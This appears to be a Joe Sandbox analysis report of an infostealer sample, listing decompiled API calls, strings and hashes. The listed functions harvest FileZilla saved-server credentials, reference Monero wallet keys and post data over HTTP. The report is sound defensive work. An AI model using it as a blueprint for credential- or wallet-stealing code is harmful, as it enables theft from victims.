lstrcat.KERNEL32(?,0130E508), ref: 00577A7B
lstrcat.KERNEL32(?,0130E520), ref: 00577A8F
lstrcat.KERNEL32(?,0130E490), ref: 00577AA3
lstrcat.KERNEL32(?,0130E6C0), ref: 00577AB6
lstrcat.KERNEL32(?,?), ref: 00577ACA
lstrcat.KERNEL32(?,?), ref: 00577ADE
lstrcat.KERNEL32(?,?), ref: 00577AF2
lstrcat.KERNEL32(?,0130E4F0), ref: 00577B06
lstrcat.KERNEL32(?,0130E508), ref: 00577B1A
lstrcat.KERNEL32(?,0130E520), ref: 00577B2D
lstrcat.KERNEL32(?,0130E490), ref: 00577B41
lstrcat.KERNEL32(?,0130E728), ref: 00577B55
lstrcat.KERNEL32(?,?), ref: 00577B69
lstrcat.KERNEL32(?,?), ref: 00577B7D
lstrcat.KERNEL32(?,?), ref: 00577B91
lstrcat.KERNEL32(?,0130E4F0), ref: 00577BA4
lstrcat.KERNEL32(?,0130E508), ref: 00577BB8
lstrcat.KERNEL32(?,0130E520), ref: 00577BCC
lstrcat.KERNEL32(?,0130E490), ref: 00577BDF
lstrcat.KERNEL32(?,0130E790), ref: 00577BF3
lstrcat.KERNEL32(?,?), ref: 00577C07
lstrcat.KERNEL32(?,?), ref: 00577C1B
lstrcat.KERNEL32(?,?), ref: 00577C2F
lstrcat.KERNEL32(?,0130E4F0), ref: 00577C43
lstrcat.KERNEL32(?,0130E508), ref: 00577C56
lstrcat.KERNEL32(?,0130E520), ref: 00577C6A
lstrcat.KERNEL32(?,0130E490), ref: 00577C7E

Part of subcall function 005775D0: lstrcat.KERNEL32(2FA27020,005917FC), ref: 00577606
Part of subcall function 005775D0: lstrcat.KERNEL32(2FA27020,00000000), ref: 00577648
Part of subcall function 005775D0: lstrcat.KERNEL32(2FA27020, : ), ref: 0057765A
Part of subcall function 005775D0: lstrcat.KERNEL32(2FA27020,00000000), ref: 0057768F
Part of subcall function 005775D0: lstrcat.KERNEL32(2FA27020,00591804), ref: 005776A0
Part of subcall function 005775D0: lstrcat.KERNEL32(2FA27020,00000000), ref: 005776D3
Part of subcall function 005775D0: lstrcat.KERNEL32(2FA27020,00591808), ref: 005776ED
Part of subcall function 005775D0: task.LIBCPMTD ref: 005776FB

lstrcat.KERNEL32(?,0130ED10), ref: 00577E0B
lstrcat.KERNEL32(?,0130D948), ref: 00577E1E
lstrlen.KERNEL32(2FA27020), ref: 00577E2B
lstrlen.KERNEL32(2FA27020), ref: 00577E3B

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 36bd88bf684b3cdb801883b9ce921c973bd42565ef03bec1ddaf49e0358b00b9
Instruction ID: 4404744164c3701cab50943d466863adabcd15f2cbcc2957afe182a3d63285b1
Opcode Fuzzy Hash: 36bd88bf684b3cdb801883b9ce921c973bd42565ef03bec1ddaf49e0358b00b9
Instruction Fuzzy Hash: EA32E1B6D00319BBC715FBA0DC89EEA777CBB48700F448698F61962090EE78E7858F55

Function 00580250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 00588DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00588E0B

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 005799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005799EC
Part of subcall function 005799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00579A11
Part of subcall function 005799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00579A31
Part of subcall function 005799C0: ReadFile.KERNEL32(000000FF,?,00000000,0057148F,00000000), ref: 00579A5A
Part of subcall function 005799C0: LocalFree.KERNEL32(0057148F), ref: 00579A90
Part of subcall function 005799C0: CloseHandle.KERNEL32(000000FF), ref: 00579A9A

Part of subcall function 00588E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00588E52

GetProcessHeap.KERNEL32(00000000,000F423F,00590DBA,00590DB7,00590DB6,00590DB3), ref: 00580362
RtlAllocateHeap.NTDLL(00000000), ref: 00580369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00580385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00590DB2), ref: 00580393
StrStrA.SHLWAPI(00000000,<Port>), ref: 005803CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00590DB2), ref: 005803DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00580419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00590DB2), ref: 00580427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00580463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00590DB2), ref: 00580475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00590DB2), ref: 00580502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00590DB2), ref: 0058051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00590DB2), ref: 00580532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00590DB2), ref: 0058054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00580562
lstrcat.KERNEL32(?,profile: null), ref: 00580571
lstrcat.KERNEL32(?,url: ), ref: 00580580
lstrcat.KERNEL32(?,00000000), ref: 00580593
lstrcat.KERNEL32(?,00591678), ref: 005805A2
lstrcat.KERNEL32(?,00000000), ref: 005805B5
lstrcat.KERNEL32(?,0059167C), ref: 005805C4
lstrcat.KERNEL32(?,login: ), ref: 005805D3
lstrcat.KERNEL32(?,00000000), ref: 005805E6
lstrcat.KERNEL32(?,00591688), ref: 005805F5
lstrcat.KERNEL32(?,password: ), ref: 00580604
lstrcat.KERNEL32(?,00000000), ref: 00580617
lstrcat.KERNEL32(?,00591698), ref: 00580626
lstrcat.KERNEL32(?,0059169C), ref: 00580635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00590DB2), ref: 0058068E

Strings

profile: null, xrefs: 00580568
browser: FileZilla, xrefs: 00580559
<Port>, xrefs: 005803C6
login: , xrefs: 005805CA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 005802A4
password: , xrefs: 005805FB
<Host>, xrefs: 0058037C
url: , xrefs: 00580577
<Pass encoding="base64">, xrefs: 0058045A
<User>, xrefs: 00580410

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 7626d7b1d9316f78d8d6737da745554c7074f5d37e36c6581a1d91e7036304fb
Instruction ID: 34a9b543a90949034deb95396827defd058d35a64cea499da1dd2fdf528e2220
Opcode Fuzzy Hash: 7626d7b1d9316f78d8d6737da745554c7074f5d37e36c6581a1d91e7036304fb
Instruction Fuzzy Hash: A3D11E71900209ABDB04FBE4DD9AEEE7B38FF54300F508519F502B6091EF78AA45CB65

Function 00575100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 005747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00574839
Part of subcall function 005747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00574849

lstrlen.KERNEL32(00000000), ref: 00575193

Part of subcall function 00588EA0: CryptBinaryToStringA.CRYPT32(00000000,00575184,40000001,00000000,00000000,?,00575184), ref: 00588EC0

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00575207
StrCmpCA.SHLWAPI(?,0130ED90), ref: 00575225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00575340
HttpOpenRequestA.WININET(00000000,0130ECB0,?,0130E870,00000000,00000000,00400100,00000000), ref: 005753A4

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0130EC40,00000000,?,0130A910,00000000,?,005919DC,00000000,?,005851CF), ref: 00575737
lstrlen.KERNEL32(00000000), ref: 0057574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0057575C
RtlAllocateHeap.NTDLL(00000000), ref: 00575763
lstrlen.KERNEL32(00000000), ref: 00575778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005757A9
lstrlen.KERNEL32(00000000), ref: 005757C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005757E1
lstrlen.KERNEL32(00000000,?,?), ref: 0057580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00575822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0057584D
InternetCloseHandle.WININET(00000000), ref: 005758B1
InternetCloseHandle.WININET(00000000), ref: 005758BE
InternetCloseHandle.WININET(00000000), ref: 005758C8

Strings

------, xrefs: 0057563B
------, xrefs: 00575297
------, xrefs: 005754F9
", xrefs: 00575482
", xrefs: 005755C4
--, xrefs: 00575280
------, xrefs: 005753B7
", xrefs: 00575706

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: c0b12092f45a7e091ef6dc151744bffffa7d47e1bec5a948210ee49a0bc3b3ad
Instruction ID: f29f49fe64ed5d825bab02c3a074f5af17828a0024a867314da8ea9ef0e618ce
Opcode Fuzzy Hash: c0b12092f45a7e091ef6dc151744bffffa7d47e1bec5a948210ee49a0bc3b3ad
Instruction Fuzzy Hash: 82324672910119ABEB14FBA0DC99FEE7778BF94700F40419AF50672091EF782A49CF66

Function 0057A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0058AA70: StrCmpCA.SHLWAPI(013092E0,0057A7A7,?,0057A7A7,013092E0), ref: 0058AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0057AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0057AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0057ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0057A8B0

Part of subcall function 0058A820: lstrlen.KERNEL32(00574F05,?,?,00574F05,00590DDE), ref: 0058A82B
Part of subcall function 0058A820: lstrcpy.KERNEL32(00590DDE,00000000), ref: 0058A885

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

lstrcat.KERNEL32(?,00000000), ref: 0057ACEB
lstrcat.KERNEL32(?,00591320), ref: 0057ACFA
lstrcat.KERNEL32(?,00000000), ref: 0057AD0D
lstrcat.KERNEL32(?,00591324), ref: 0057AD1C
lstrcat.KERNEL32(?,00000000), ref: 0057AD2F
lstrcat.KERNEL32(?,00591328), ref: 0057AD3E
lstrcat.KERNEL32(?,00000000), ref: 0057AD51
lstrcat.KERNEL32(?,0059132C), ref: 0057AD60
lstrcat.KERNEL32(?,00000000), ref: 0057AD73
lstrcat.KERNEL32(?,00591330), ref: 0057AD82
lstrcat.KERNEL32(?,00000000), ref: 0057AD95
lstrcat.KERNEL32(?,00591334), ref: 0057ADA4
lstrcat.KERNEL32(?,00000000), ref: 0057ADB7
lstrlen.KERNEL32(?), ref: 0057AE0D
lstrlen.KERNEL32(?), ref: 0057AE1C

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

DeleteFileA.KERNEL32(00000000), ref: 0057AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0057ABD4

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 8bbd68caab5175a0219d6576ff78cdb80bfa65d26bb05b9e9ddbb0486eaa62b6
Instruction ID: cc829bae0203944185dcb8f0bea1a94edcfc8ac9260d9a7a626ae33270e13b70
Opcode Fuzzy Hash: 8bbd68caab5175a0219d6576ff78cdb80bfa65d26bb05b9e9ddbb0486eaa62b6
Instruction Fuzzy Hash: E1121171910105ABEB08FBA0DD9AEEE7B78BF94300F504159F906B6091EF386E05DF66

Function 00575960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 005747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00574839
Part of subcall function 005747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00574849

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005759F8
StrCmpCA.SHLWAPI(?,0130ED90), ref: 00575A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00575B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0130EC80,00000000,?,0130A910,00000000,?,00591A1C), ref: 00575E71
lstrlen.KERNEL32(00000000), ref: 00575E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00575E93
RtlAllocateHeap.NTDLL(00000000), ref: 00575E9A
lstrlen.KERNEL32(00000000), ref: 00575EAF
lstrlen.KERNEL32(00000000), ref: 00575ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00575EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00575F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00575F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00575F4C
InternetCloseHandle.WININET(00000000), ref: 00575FB0
InternetCloseHandle.WININET(00000000), ref: 00575FBD
HttpOpenRequestA.WININET(00000000,0130ECB0,?,0130E870,00000000,00000000,00400100,00000000), ref: 00575BF8

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

InternetCloseHandle.WININET(00000000), ref: 00575FC7

Strings

------, xrefs: 00575D4C
------, xrefs: 00575A96
", xrefs: 00575E16
------, xrefs: 00575C0B
", xrefs: 00575CD5

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
